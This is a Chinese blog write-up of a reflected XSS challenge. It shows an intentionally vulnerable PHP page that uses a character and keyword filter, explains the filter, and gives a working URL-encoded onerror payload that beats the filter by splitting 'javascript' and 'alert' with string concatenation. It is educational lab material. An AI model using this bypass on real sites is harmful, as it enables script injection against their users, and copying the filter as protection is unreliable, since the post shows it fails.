安全-反射性xss基础注入

目录

题目

代码分析

注入过程思路


题目

注:此题与上一次的题目相似,因此直接注入结果。

<?php
header('X-XSS-Protection: 0');
$xss = isset($_GET['xss'])?$_GET['xss']:'';
$xss = str_replace(array("(",")","&","\\","<",">","'"), '', $xss);
if (preg_match('/(script|document|cookie|eval|setTimeout|alert)/', $xss)) {
    exit('bad');
}
echo "<img src=\"{$xss}\">";
?>

代码分析

1、下面代码是运用了三目运算符对get是否传到参数进行了判断,并将传到的参数对xss变量进行赋值。

$xss = isset($_GET['xss'])?$_GET['xss']:'';

2、下面代码是通过正则表达式,将get上传的参数进行了过滤,将" ( ", " ) ", " & ", " \\ ", " < ", " > ", " ' "这些符号进行了替换,替换结果为空。

$xss = str_replace(array("(",")","&","\\","<",">","'"), '', $xss);

3、条件语句,将(script|document|cookie|eval|setTimeout|alert)这些关键字作为条件语句的条件,只要出现这些关键字的任何一个,就会执行程序退出。

if (preg_match('/(script|document|cookie|eval|setTimeout|alert)/', $xss)) {
    exit('bad');

4、通过get传参,进行打印<img>标签注入的结果。

echo "<img src=\"{$xss}\">";

注入过程思路

 

注入语句:

?xss=1%22%20onerror=location=%22javascri%22%2b%22pt:al%22%2b%22ert%25281%2529

思路:

题目中明确说明不能出现以下关键字(script|document|cookie|eval|setTimeout|alert),因此思路就是就将这些字符串进行拼接,在javascript中拼接字符串可以直接使用+,但是在url地址栏中,+会被url转义为空格,因此需要将+进行urlcode编码。其他原因与上次的题目相同。因此弹窗成功弹出。

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

努力学IT的小徐

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值